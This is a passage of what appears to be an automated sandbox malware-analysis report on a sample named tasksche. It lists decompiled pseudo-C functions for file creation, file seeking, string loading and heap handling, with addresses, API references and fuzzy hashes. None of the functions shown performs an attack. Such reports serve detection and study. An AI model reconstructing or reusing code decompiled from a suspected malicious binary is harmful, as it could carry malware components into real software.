					_t115 = 0;
					L67:
					 *[fs:0x0] =  *((intOrPtr*)(_t185 - 0xc));
					return _t115;
				}
			}

0x00401417
0x0040141c
0x00401425
0x0040142a
0x0040142c
0x00401432
0x00401433
0x0040143a
0x00401447
0x00401456
0x0040145c
0x00401461
0x00401463
0x00401495
0x0040149e
0x004014a1
0x004014ae
0x004014b7
0x004014b9
0x004014bb
0x004014bd
0x00401550
0x00401552
0x00401558
0x00401571
0x00401575
0x00401578
0x0040157a
0x0040157d
0x00401582
0x00000000
0x00401578
0x0040155a
0x0040155d
0x00401563
0x00401566
0x0040156b
0x00000000
0x00000000
0x00000000
0x00000000
0x004014c3
0x004014c3
0x004014c6
0x004014c8
0x004014cb
0x00000000
0x00000000
0x004014d3
0x004014d8
0x004014da
0x00000000
0x00000000
0x004014dc
0x004014e2
0x004014e5
0x0040151b
0x0040151d
0x00401520
0x00401527
0x0040152d
0x00401530
0x00401536
0x00401539
0x00401540
0x00401540
0x0040154d
0x00000000
0x0040154d
0x0040153b
0x0040153e
0x00000000
0x00000000
0x00000000
0x0040153e
0x004014e7
0x004014e9
0x00000000
0x00000000
0x004014eb
0x004014ee
0x00000000
0x00000000
0x004014f0
0x004014f3
0x00000000
0x00000000
0x004014fa
0x004014fd
0x00401500
0x00000000
0x00000000
0x00401502
0x00401506
0x00000000
0x00000000
0x00401508
0x0040150c
0x00000000
0x00000000
0x0040150e
0x00401512
0x00000000
0x00000000
0x00401514
0x00401514
0x00401515
0x00401515
0x00000000
0x00401465
0x00401465
0x0040146b
0x0040146e
0x00401474
0x00401479
0x0040147f
0x00401485
0x00401485
0x00401583
0x00401583
0x00401589
0x0040158c
0x0040159e
0x004015a1
0x004015c4
0x004015f0
0x004015f0
0x004015f2
0x004015f7
0x004015f9
0x00000000
0x00000000
0x004015d0
0x004015d6
0x004015d9
0x00000000
0x00000000
0x004015db
0x004015e2
0x004015e9
0x004015eb
0x00000000
0x004015eb
0x004015e4
0x004015e7
0x00000000
0x00000000
0x00000000
0x004015e7
0x004015fb
0x00401602
0x0040160a
0x0040160c
0x00401611
0x00401618
0x00401632
0x00401632
0x0040163f
0x00401645
0x00401654
0x00401658
0x00401663
0x00401669
0x0040166f
0x00401678
0x00401681
0x00401688
0x004016ca
0x004016cc
0x004016d1
0x004016d3
0x00000000
0x00000000
0x0040168d
0x00401693
0x00401696
0x004016b9
0x004016bc
0x004016d7
0x004016de
0x004016ee
0x004016ee
0x004016ee
0x004016f0
0x004016f0
0x004016f6
0x004016fc
0x004016fc
0x004016fc
0x00401700
0x0040170e
0x0040171a
0x00401720
0x00401726
0x0040172e
0x00401731
0x00401731
0x00401738
0x00401743
0x00401747
0x0040174e
0x00401755
0x00401755
0x00401757
0x00000000
0x00401757
0x0040173a
0x00401741
0x00000000
0x00000000
0x00000000
0x00401741
0x004016e0
0x004016e7
0x00000000
0x00000000
0x004016eb
0x00000000
0x004016eb
0x004016be
0x004016c1
0x00000000
0x00000000
0x004016c3
0x004016c5
0x00000000
0x004016c5
0x00401698
0x0040169f
0x004016af
0x004016af
0x004016af
0x004016b1
0x004016b1
0x00000000
0x004016b1
0x004016a1
0x004016a8
0x00000000
0x00000000
0x004016ac
0x00000000
0x004016ac
0x00000000
0x004016d5
0x00401647
0x0040164e
0x00000000
0x00000000
0x00000000
0x0040164e
0x00401620
0x00401625
0x00401629
0x00000000
0x00000000
0x0040162b
0x0040162b
0x00000000
0x0040162b
0x00401604
0x00401608
0x00000000
0x00000000
0x00000000
0x00401608
0x004015a7
0x004015b0
0x004015b3
0x004015b6
0x00000000
0x00000000
0x004015b8
0x00000000
0x004015b8
0x00401594
0x00000000
0x00401594
0x00401449
0x00401449
0x00401758
0x0040175d
0x00401765
0x00401765

APIs

__EH_prolog.LIBCMT ref: 0040141C

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: af860968fb5a352ec115184650dafa7935731a9a847d0e8dc47d2517750fbf99
Instruction ID: 1df30631c7f2331ab9bb659be56b51083ca38efb3ea41a431c6c341c2f7f2518
Opcode Fuzzy Hash: af860968fb5a352ec115184650dafa7935731a9a847d0e8dc47d2517750fbf99
Instruction Fuzzy Hash: D7A1A370904B44AFDB31DB38C8447ABB7E5AB45304F14482FE4A7A72E1D779A881CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408923 Relevance: 3.1, APIs: 2, Instructions: 86
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408923(void* __ecx, WCHAR* _a4, long _a8) {
				long _v8;
				short _v4104;
				signed char _t38;
				signed int _t42;
				void* _t51;
				signed char _t54;
				char _t60;
				void* _t64;

				E0041AAF0(0x1004);
				_t64 = __ecx;
				_t54 = _a8;
				_t38 = _t54 >> 0x00000001 & 0x00000001;
				if((_t54 & 0x00000010) != 0 ||  *((intOrPtr*)(__ecx + 0x1c)) != 0) {
					_t60 = 1;
				} else {
					_t60 = 0;
				}
				 *(_t64 + 0x18) = _t54;
				_v8 = ((0 | _t38 == 0x00000000) - 0x00000001 & 0x80000000) + 0xc0000000;
				_a8 = 0 | _t60 != 0x00000000;
				_t42 =  *(E0040A08A(_t60, _a4)) & 0x0000ffff;
				if(_t42 == 0x2e || _t42 == 0x20) {
					 *(_t64 + 4) =  *(_t64 + 4) | 0xffffffff;
				} else {
					_t51 = CreateFileW(_a4, _v8, _a8, 0, 2, 0, 0); // executed
					 *(_t64 + 4) = _t51;
				}
				if( *(_t64 + 4) == 0xffffffff && E0040A3DC(_a4,  &_v4104, 0x800) != 0) {
					 *(_t64 + 4) = CreateFileW( &_v4104, _v8, _a8, 0, 2, 0, 0);
				}
				 *((char*)(_t64 + 0x12)) = 1;
				 *((intOrPtr*)(_t64 + 0xc)) = 0;
				 *((char*)(_t64 + 0x10)) = 0;
				E00410B9C(_t64 + 0x1e, _a4, 0x800);
				return 0 |  *(_t64 + 4) != 0xffffffff;
			}

0x0040892b
0x00408932
0x00408934
0x0040893b
0x00408943
0x0040894e
0x0040894a
0x0040894a
0x0040894a
0x00408953
0x00408971
0x00408974
0x0040897c
0x00408989
0x00408991
0x00408997
0x004089a5
0x004089a7
0x004089a7
0x004089ae
0x004089dc
0x004089dc
0x004089eb
0x004089ef
0x004089f2
0x004089f5
0x00408a07

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000002,00000000,00000000,?,?,?,-00000011,?,00408777,?,-00000011,?), ref: 004089A5
CreateFileW.KERNEL32(?,000000FF,?,00000000,00000002,00000000,00000000,?,?,00000800,?,?,?,-00000011,?,00408777), ref: 004089DA

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a074d9b34406725a99dd7798f6dc6781e4ed09d04832e0e73d262d8c08033346
Instruction ID: 01d84b190ee352a3a297c1effa4f932d2cea621e1ee0f9c6dc0f58f94aa457de
Opcode Fuzzy Hash: a074d9b34406725a99dd7798f6dc6781e4ed09d04832e0e73d262d8c08033346
Instruction Fuzzy Hash: F621E6B1000709AFDB20AF28CD41AEA7BA9EB04324F00853EF5D5972D1CA799D859B59

Uniqueness

Uniqueness Score: -1.00%

Function 004012EA Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E004012EA(void* __ecx, void* __edi) {
				void* __ebx;
				void* __esi;
				void* _t30;
				void* _t37;
				void* _t55;
				unsigned int _t57;
				void* _t58;
				signed int _t59;
				intOrPtr* _t62;
				void* _t64;

				E0041A4DC(E004294DA, _t64);
				_t44 = __ecx;
				 *(_t64 - 0x1c) = 0;
				 *(_t64 - 0x18) = 0;
				 *((intOrPtr*)(_t64 - 0x14)) = 0;
				 *((intOrPtr*)(_t64 - 0x10)) = 0;
				_push(0);
				_push(_t64 - 0x1c);
				 *((intOrPtr*)(_t64 - 4)) = 0;
				_t30 = E00402C8B(__ecx, _t55); // executed
				if(_t30 != 0) {
					_push(__edi);
					_t57 =  *(_t64 - 0x18);
					E004012B5(_t64 - 0x1c, 0);
					_t62 =  *((intOrPtr*)(_t64 + 8));
					_t48 = _t62;
					E004012D0(_t62, _t57 + 1);
					__eflags =  *((intOrPtr*)(__ecx + 0xb050)) - 3;
					if( *((intOrPtr*)(__ecx + 0xb050)) != 3) {
						__eflags =  *(__ecx + 0x8944) & 0x00000001;
						if(( *(__ecx + 0x8944) & 0x00000001) == 0) {
							E00411B3C( *(_t64 - 0x1c),  *_t62,  *((intOrPtr*)(_t62 + 4)));
						} else {
							_t59 = _t57 >> 1;
							E00411BA7( *(_t64 - 0x1c),  *_t62, _t59);
							 *((short*)( *_t62 + _t59 * 2)) = 0;
						}
					} else {
						E00411CD1(_t48,  *(_t64 - 0x1c),  *_t62,  *((intOrPtr*)(_t62 + 4)));
					}
					E004012D0(_t62, E0041A7AF( *_t62));
					__eflags =  *(_t64 - 0x1c);
					_pop(_t58);
					if(__eflags != 0) {
						_push( *(_t64 - 0x1c));
						E0041A506(_t44, _t58, _t62, __eflags);
					}
					_t37 = 1;
				} else {
					_t70 =  *(_t64 - 0x1c);
					if( *(_t64 - 0x1c) != 0) {
						_push( *(_t64 - 0x1c));
						E0041A506(__ecx, __edi, 0, _t70);
					}
					_t37 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t64 - 0xc));
				return _t37;
			}

0x004012ef
0x004012fb
0x004012fd
0x00401300
0x00401303
0x00401306
0x00401309
0x0040130d
0x0040130e
0x00401311
0x00401318
0x0040132f
0x00401330
0x00401337
0x0040133c
0x00401343
0x00401345
0x0040134a
0x00401351
0x00401362
0x00401369
0x0040138a
0x0040136b
0x0040136b
0x00401373
0x0040137c
0x0040137c
0x00401353
0x0040135b
0x0040135b
0x0040139a
0x0040139f
0x004013a3
0x004013a4
0x004013a6
0x004013a9
0x004013ae
0x004013af
0x0040131a
0x0040131a
0x0040131d
0x0040131f
0x00401322
0x00401327
0x00401328
0x00401328
0x004013b6
0x004013be

APIs

__EH_prolog.LIBCMT ref: 004012EF

Part of subcall function 00402C8B: __EH_prolog.LIBCMT ref: 00402C90

_wcslen.LIBCMT ref: 00401391

Part of subcall function 0041A506: __lock.LIBCMT ref: 0041A524
Part of subcall function 0041A506: ___sbh_find_block.LIBCMT ref: 0041A52F
Part of subcall function 0041A506: ___sbh_free_block.LIBCMT ref: 0041A53E
Part of subcall function 0041A506: RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E
Part of subcall function 0041A506: GetLastError.KERNEL32(?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001,00000214), ref: 0041A57F

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog$ErrorFreeHeapLast___sbh_find_block___sbh_free_block__lock_wcslen
String ID:
API String ID: 2367413355-0
Opcode ID: 2919600df76e4d66bc5d6f82fae5af35264ca928e1590e53ce8e638c26dbddb5
Instruction ID: 0a298500d8bcfa7ff7c3c7c798daa7998fe1fc2396f24876ea38c2992963b511
Opcode Fuzzy Hash: 2919600df76e4d66bc5d6f82fae5af35264ca928e1590e53ce8e638c26dbddb5
Instruction Fuzzy Hash: 43218131C04219AADF11AF95D8019EFBBBAEF44704F10402FF815B26B1D7791951DB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E75F Relevance: 3.1, APIs: 2, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040E75F(void* __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t33;
				void* _t34;
				intOrPtr _t36;
				intOrPtr _t38;
				intOrPtr _t55;
				void* _t57;
				void* _t59;
				intOrPtr _t61;
				void* _t64;

				_t64 = __eflags;
				_t54 = __edx;
				E0041A4DC(E004297B1, _t59);
				_push(__ecx);
				E0041AAF0(0xc0b0);
				_push(_t57);
				_push(_t55);
				 *((intOrPtr*)(_t59 - 0x10)) = _t61;
				 *((intOrPtr*)(_t59 - 4)) = 0;
				E00401822(_t59 - 0xc0c0, __edx, _t55, _t64, 0); // executed
				 *((char*)(_t59 - 4)) = 1;
				E00401A1A(_t59 - 0xc0c0, __edx, _t59, _t64,  *((intOrPtr*)(_t59 + 0xc)));
				 *((intOrPtr*)(_t59 - 0x20)) = 0;
				 *((intOrPtr*)(_t59 - 0x1c)) = 0;
				 *((intOrPtr*)(_t59 - 0x18)) = 0;
				 *((intOrPtr*)(_t59 - 0x14)) = 0;
				 *((char*)(_t59 - 4)) = 2;
				_t33 = E00401768(_t59 - 0xc0c0, _t54, _t59 - 0x20); // executed
				if(_t33 != 0) {
					_t36 =  *((intOrPtr*)(_t59 - 0x1c));
					_t57 = _t36 + _t36;
					_t55 = _t36;
					_t38 = E0041CF3E(0, _t54, _t55, _t57 + 2);
					 *((intOrPtr*)( *((intOrPtr*)(_t59 + 0x10)))) = _t38;
					if(_t38 != 0) {
						__eflags = 0;
						 *((short*)(_t57 + _t38)) = 0;
						E0041C290(0, _t55, _t57, _t38,  *((intOrPtr*)(_t59 - 0x20)), _t57);
					} else {
						_t55 = 0;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t59 + 0x14)))) = _t55;
				}
				_t67 =  *((intOrPtr*)(_t59 - 0x20));
				if( *((intOrPtr*)(_t59 - 0x20)) != 0) {
					_push( *((intOrPtr*)(_t59 - 0x20)));
					E0041A506(0, _t55, _t57, _t67);
				}
				 *((char*)(_t59 - 4)) = 0;
				_t34 = E00401228(_t59 - 0xc0c0, _t55);
				 *[fs:0x0] =  *((intOrPtr*)(_t59 - 0xc));
				return _t34;
			}

0x0040e75f
0x0040e75f
0x0040e764
0x0040e769
0x0040e76f
0x0040e775
0x0040e776
0x0040e779
0x0040e783
0x0040e786
0x0040e794
0x0040e798
0x0040e79d
0x0040e7a0
0x0040e7a3
0x0040e7a6
0x0040e7b3
0x0040e7b7
0x0040e7be
0x0040e7c0
0x0040e7c3
0x0040e7c6
0x0040e7cc
0x0040e7d5
0x0040e7d9
0x0040e7df
0x0040e7e2
0x0040e7ea
0x0040e7db
0x0040e7db
0x0040e7db
0x0040e7f5
0x0040e7f5
0x0040e7f7
0x0040e7fa
0x0040e7fc
0x0040e7ff
0x0040e804
0x0040e80b
0x0040e80e
0x0040e818
0x0040e821

APIs

__EH_prolog.LIBCMT ref: 0040E764

Part of subcall function 00401822: __EH_prolog.LIBCMT ref: 00401827
Part of subcall function 00401822: _memset.LIBCMT ref: 0040196A
Part of subcall function 00401822: _memset.LIBCMT ref: 00401979
Part of subcall function 00401822: _memset.LIBCMT ref: 00401988

Part of subcall function 00401768: __EH_prolog.LIBCMT ref: 0040176D

_malloc.LIBCMT ref: 0040E7CC

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_memset$AllocateHeap_malloc
String ID:
API String ID: 47157355-0
Opcode ID: 76dc919e38105a2a0c7a25f94b1f982589f1f165098df706c37864f55c56c04a
Instruction ID: 028989472a53044f7525bc0779393b56fb6d8ddec0b6eee1d5d0b7402cf9aefd
Opcode Fuzzy Hash: 76dc919e38105a2a0c7a25f94b1f982589f1f165098df706c37864f55c56c04a
Instruction Fuzzy Hash: 09217F72800259EFCF15EFA5D8819EEB7B4BF08308F10456FE006B3291E7385A44DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00408BAE Relevance: 3.1, APIs: 2, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00408BAE(void* __ecx, signed int __edx) {
				long _v8;
				long _t10;
				signed int _t13;
				signed int _t26;
				long _t29;
				void* _t32;

				_push(__ecx);
				_t32 = __ecx;
				_t26 = __edx | 0xffffffff;
				if( *((intOrPtr*)(__ecx + 4)) != _t26) {
					L3:
					_v8 = 0;
					_t10 = SetFilePointer( *(_t32 + 4), 0,  &_v8, 1); // executed
					_t29 = _t10;
					if(_t29 != 0xffffffff || GetLastError() == 0) {
						L7:
						asm("cdq");
						_t13 = E0041ABD0(_v8, _t26, 0, 1) + _t29;
						asm("adc edx, ecx");
					} else {
						if( *((intOrPtr*)(_t32 + 0x14)) == 0) {
							_t13 = _t26 | 0xffffffff;
						} else {
							E00406402(0x4335ac, _t32 + 0x1e);
							goto L7;
						}
					}
				} else {
					if( *((intOrPtr*)(__ecx + 0x14)) == 0) {
						_t13 = _t26;
					} else {
						E00406402(0x4335ac, __ecx + 0x1e);
						goto L3;
					}
				}
				return _t13;
			}

0x00408bb1
0x00408bb4
0x00408bb6
0x00408bbe
0x00408bd3
0x00408bde
0x00408be1
0x00408be7
0x00408bec
0x00408c0b
0x00408c10
0x00408c1b
0x00408c1d
0x00408bf8
0x00408bfb
0x00408c2b
0x00408bfd
0x00408c06
0x00000000
0x00408c06
0x00408bfb
0x00408bc0
0x00408bc3
0x00408c24
0x00408bc5
0x00408bce
0x00000000
0x00408bce
0x00408bc3
0x00408c23

APIs

SetFilePointer.KERNELBASE(?,00000000,?,00000001), ref: 00408BE1
GetLastError.KERNEL32(?,?), ref: 00408BEE

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 401041f812e38b2c9cc7bc658f647880eeddc778264b755613b9ad4916800595
Instruction ID: 02e03e75e993c9a8a945b97f90e28c3a97864ede8bf9f3e31abc9cd0b64ad5c5
Opcode Fuzzy Hash: 401041f812e38b2c9cc7bc658f647880eeddc778264b755613b9ad4916800595
Instruction Fuzzy Hash: 540145B2706204BFE7209B788D458AB36ADCB84334B14423FB192E33C1EA749D00527D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C3BF Relevance: 3.0, APIs: 2, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0040C3BF(int _a4) {
				signed int _t3;
				signed int _t4;
				int _t12;
				WCHAR* _t22;

				_t3 =  *0x4355d8; // 0x5
				_t4 = _t3 + 1;
				 *0x4355d8 = _t4;
				if(_t4 >= 8) {
					_t4 = 0;
					 *0x4355d8 = 0;
				}
				_t22 = (_t4 << 0xa) + 0x4335d8;
				 *_t22 = 0;
				if(E0040BB81(0x4335bc) != 0) {
					L4:
					LoadStringW( *0x4335a4, _a4, _t22, 0x200);
				} else {
					_t12 = LoadStringW( *0x4335a8, _a4, _t22, 0x200); // executed
					if(_t12 == 0) {
						goto L4;
					}
				}
				E0040BF1D(0x4335bc, _t22, _t22, 0x200, 0, 0);
				return _t22;
			}

0x0040c3bf
0x0040c3c4
0x0040c3c5
0x0040c3cd
0x0040c3cf
0x0040c3d1
0x0040c3d1
0x0040c3e1
0x0040c3ed
0x0040c402
0x0040c416
0x0040c422
0x0040c404
0x0040c410
0x0040c414
0x00000000
0x00000000
0x0040c414
0x0040c42d
0x0040c438

APIs

LoadStringW.USER32(?,-004335D2,00000200), ref: 0040C410
LoadStringW.USER32(?,-004335D2,00000200), ref: 0040C422

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 72945bf23e6ae9cf9b0fab0a5a9e43b8bd420b2efeca12c7a5d03f8341522d8c
Instruction ID: edfc175873420c56a2918f30daf07abd917a54f8fc7c105ac48efc03a3cacc81
Opcode Fuzzy Hash: 72945bf23e6ae9cf9b0fab0a5a9e43b8bd420b2efeca12c7a5d03f8341522d8c
Instruction Fuzzy Hash: 200186722012107FD6209F19AC85F577BEDEB99351F10543AB900D32A1D6359C01876C

Uniqueness

Uniqueness Score: -1.00%

Function 00408F4B Relevance: 3.0, APIs: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00408F4B(intOrPtr* __ecx, long _a4, long _a8, signed int _a12) {
				long _v8;
				void* __ebp;
				void* _t16;
				long _t20;
				void* _t22;
				void* _t25;
				long _t27;
				intOrPtr* _t30;
				long _t33;

				_t24 = __ecx;
				_push(__ecx);
				_t30 = __ecx;
				if( *((intOrPtr*)(__ecx + 4)) == 0xffffffff) {
					L12:
					_t16 = 1;
				} else {
					_t27 = _a8;
					_t33 = _t27;
					if(_t33 <= 0 && (_t33 < 0 || _a4 < 0) && _a12 != 0) {
						if(_a12 != 1) {
							_t22 = E00408E03(_t24, _t25);
						} else {
							_t22 =  *((intOrPtr*)( *_t30 + 0x10))();
						}
						_a4 = _a4 + _t22;
						asm("adc edi, edx");
						_a12 = _a12 & 0x00000000;
					}
					_v8 = _t27;
					_t20 = SetFilePointer( *(_t30 + 4), _a4,  &_v8, _a12); // executed
					if(_t20 != 0xffffffff || GetLastError() == 0) {
						goto L12;
					} else {
						_t16 = 0;
					}
				}
				return _t16;
			}

0x00408f4b
0x00408f4e
0x00408f50
0x00408f56
0x00408fb8
0x00408fb8
0x00408f58
0x00408f59
0x00408f5c
0x00408f5e
0x00408f72
0x00408f7b
0x00408f74
0x00408f76
0x00408f76
0x00408f80
0x00408f83
0x00408f85
0x00408f85
0x00408f98
0x00408f9e
0x00408fa8
0x00000000
0x00408fb4
0x00408fb4
0x00408fb4
0x00408fa8
0x00408fbc

APIs

SetFilePointer.KERNELBASE(?,?,00000001,00000000,?,?,?,?,00408FD1,00000000,00000000,00000000,?,00407DE2,?,?), ref: 00408F9E
GetLastError.KERNEL32(00408FD1,00000000,00000000,00000000,?,00407DE2,?,?,?,?,?,?,?,?), ref: 00408FAA

Part of subcall function 00408E03: __EH_prolog.LIBCMT ref: 00408E08

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorFileH_prologLastPointer
String ID:
API String ID: 4236474358-0
Opcode ID: fcb39ab4431aa7e293366899b2db99d4a95afe2178fb6d1211a042b2fb6e45d7
Instruction ID: 31f7e80921147255a447777291f97898e209bd40052f61b908ef1a5d0e3b9beb
Opcode Fuzzy Hash: fcb39ab4431aa7e293366899b2db99d4a95afe2178fb6d1211a042b2fb6e45d7
Instruction Fuzzy Hash: 1E019631200306DBCF248F64CD046AE776ABF813A5F14463EF8A1A22D0DB78D951DA55

Uniqueness

Uniqueness Score: -1.00%

Function 0041A89A Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0041A89A(void* __ebx, void* __edx, void* __edi, void* __eflags, signed int _a4, signed int _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20) {
				signed int _v0;
				char _v16;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				void* _t39;
				signed int _t40;
				signed int _t46;
				void* _t51;
				void* _t53;
				intOrPtr* _t56;
				intOrPtr* _t58;
				void* _t62;
				void* _t74;
				void* _t75;
				signed int _t76;
				signed int _t79;

				_t75 = __edi;
				_t74 = __edx;
				_t62 = __ebx;
				while(1) {
					_t39 = E0041CF3E(_t62, _t74, _t75, _a4); // executed
					if(_t39 != 0) {
						break;
					}
					_t40 = E0041FC9B(_a4);
					__eflags = _t40;
					if(_t40 == 0) {
						__eflags =  *0x44f810 & 0x00000001;
						if(( *0x44f810 & 0x00000001) == 0) {
							 *0x44f810 =  *0x44f810 | 0x00000001;
							__eflags =  *0x44f810;
							E0041216A(0x44f804);
							E0041C9CF( *0x44f810, 0x4299d0);
						}
						E004125FA( &_v16, 0x44f804);
						E0041C77F( &_v16, 0x42d504);
						asm("int3");
						_push(_t62);
						__eflags = _v0;
						if(__eflags != 0) {
							_push(0x44f804);
							_t79 = _a4;
							_push(_t75);
							_t76 = _a8;
							__eflags = _t76;
							if(_t76 == 0) {
								L12:
								_v28 = 0x42;
								_v32 = _t79;
								_v40 = _t79;
								__eflags = _t76 - 0x3fffffff;
								if(_t76 <= 0x3fffffff) {
									_v36 = _t76 + _t76;
								} else {
									_v36 = 0x7fffffff;
								}
								_t46 = _v0( &_v40, _a12, _a16, _a20);
